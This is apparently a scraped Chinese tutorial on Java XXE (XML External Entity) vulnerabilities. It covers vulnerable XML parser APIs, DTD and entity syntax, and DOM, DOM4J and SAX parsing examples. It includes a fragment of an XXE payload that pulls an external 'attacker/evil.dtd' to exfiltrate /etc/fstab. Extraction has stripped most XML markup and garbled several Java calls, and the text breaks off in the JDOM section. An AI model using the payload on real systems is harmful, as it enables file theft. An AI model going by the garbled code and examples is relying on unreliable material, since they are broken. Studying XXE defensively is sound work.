javaxxe漏洞利⽤_JAVA的XXE漏洞
1. XXE简介
XXE(XML外部实体注⼊,XML External Entity) ,漏洞在对不安全的外部实体数据进⾏处理时,可能存在恶意⾏为导致读取任意⽂件、探测内⽹端⼝、攻击内⽹⽹站、发起DoS拒绝服务攻击、执⾏系统命令等问题。简单来说,如果系统能够接收并解析⽤户的XML,但未禁⽤DTD和Entity时,可能出现XXE漏洞,常见场景如pdf在线解析、word在线解析、定制协议或者其他可以解析xml的API接⼝。
如果下表列出的JAVA API没有恰当配置,可能造成XXE漏洞。因为这些API可以对XML⽂件进⾏相应解析,后⾯会讲到。
org.dom4j.*
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
2. XML与DTD
2.1 XML
XML(eXtensible Markup Language)叫做可扩展的标记语⾔,所有的标签都可以⾃定义。通常xml被⽤于信息的记录和传递,所以xml经常⽤于配置⽂件。
<?xml version="1.0" encoding="UTF-8"?> //XML声明,定义XML版本和编码信息
张三
java
90
李四
xml
99
2.2 DTD
DTD(Document Type Definition,⽂档类型定义),DTD⽤于约束xml的⽂档格式,保证xml是⼀个有效的xml。DTD可以分为内部DTD 和外部DTD。
元素声明]> //(中间的空格不可省略)
(1)内部DTD
如果DTD被包含在XML源⽂件中,就直接声明。元素声明]>
]>
张三
java
90
李四
xml
99
如果XML中的格式没有参照DTD的定义,就会报错。
XML要按照DTD中的约束进⾏,所以我们可以对照上⾯demo的DTD与XML,根元素,那么DTD声明为]>,接着⼦元素为,标签出现了两次(分别为id=1,id=2),那么DTD中⼦元素标签声明应为,*号代表出现任意次的约束。标记标签出现次数,有如下选项
+:⾄少出现⼀次
:出现0次或1次
*:出现任意次
接着如果标签包含⼦元素,要列在后⾯,如student(name,course,score)。如果标签中包含属性id,声明为 代表属性值,CDATA表⽰字符数据,如果是夹在标签中的⽂本应该⽤PCDATA。默认的参数值包
含三种:#REQUIRED(属性值是必需的)、#IMPLIED(属性不是必需的)、#FIXED (属性值固定),或者直接赋值。
(2)外部DTD
如果DTD在外部⽂档中,如scores.dtd,就要在xml⽂件中引⼊外部dtd。
<?xml version="1.0" encoding="UTF-8"?> //XML声明,定义XML版本和编码信息
//中间部分省略
(3)实体
实体⽤于定义引⽤普通⽂本或特殊字符的变量,可在内部或外部进⾏声明。内部格式,外部格式,还有⼀种称为参数实体
a.内部实体
&writer;©right;
如果实体在根元素⽬录下:
]>
&writer;©right;
b.外部实体
&writer;©right;
c.参数实体
参照上⾯demo的实体声明如下
如果想替换为参数实体,上述语句等价如下:
根据这种参数写法,我们假设攻击者发送这样的XML语句:
"attacker/evil.dtd">
%dtd;
%all;
]
>
&fileContents;
evil.dtd中的内容如下:
">
">
最终请求响应的结果,即⽂件/etc/fstab的内容会包含在CDATA标签中。
有时我们需要将其中的内置实体转义
&符号:&
单引号:'
⼤于号:>
⼩于号:<
双引号:"
%符号:%
XSD(XML Schema)是DTD的替代者,不仅可以定义XML⽂档的结构还可以规范内容,其本⾝也是XML⽂档,⽐DTD复杂但功能更强⼤。
2.3 XML解析⽅式
XML的解析即对xml⽂件进⾏操作,包括创建xml,对xml⽂件进⾏增删改查的操作。XML解析技术包括DOM(官⽅提供的解析技术(SUN))、SAX(民间的解析技术)、JDOM(第三⽅提供的xml解析框架,开源)、DOM4J(JDOM升级版,开源)等技术。
(1)DOM解析XML
public class Demo {
public static void main(String[] args) throws Exception {
DocumentBuilderFactory factory = wInstance();
DocumentBuilder builder = wDocumentBuilder();
File f = new File("l");
Document doc = builder.parse(f);
Element root = DocumentElement();
NodeList list = ElementsByTagName("book");
}
}
}
(2)DOM4J解析XML
public class TestXml{
public static void main(String[] args){
/
/创建SAXReader对象,⽤于读取xml⽂件
SAXReader reader=new SAXReader();
//读取xml⽂件,得到Document对象
Document ad(new File("l"));
//获取根元素
Element RootElement();
//获取根元素下的所有⼦元素
Iterator it=root.elementIterator();
while (it.hasNext()){
//取出元素
Element e=(();
/
/获取每个id属性
Attribute id=e.attribute("id");
System.out.Name()+"="+id.getValue());
//获取student的⼦元素
Element name=e.element("name");
Element course=e.element("course");
Element score=e.element("score");
System.out.Name()+"="+StringValue()); System.out.Name()+"="+Text());
}
//创建xml
//通过DocumentHelper⽣成⼀个Doctment对象
Document ateDocument();
//得到根元素
Element root=document1.addElement("books");
//添加⼦元素
Element book=root.addElement("book");
//为book添加属性
book.addAttribute("id","b01");
//为book添加⼦元素
Element name=book.addElement("name");
//为⼦元素添加⽂本
name.addText("Thinking in java");
/
/ 输出
//将doc输出到xml⽂件中
Writer writer=new FileWriter(new File("l"));
document1.write(writer);
//关闭资源
writer.close();
// 格式良好的输出
OutputFormat atePrettyPrint();
XMLWriter xmlWriter=new XMLWriter(new FileWriter(new File("l")); xmlWriter.write(document1);
xmlWriter.close();
}
javaparser野外
}
(3)SAX解析XML
public class SaxParserDemo
{
public static void main(String[] args) throws Exception, SAXException
{
SAXParserFactory factory = wInstance();
SAXParser parser = wSAXParser();
File f = new File("l");
SaxHandler dh = new SaxHandler();
parser.parse(f, dh);
}
}
(4)JDOM解析XML
public class JDomDemo {
public static void main(String[] args) {

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。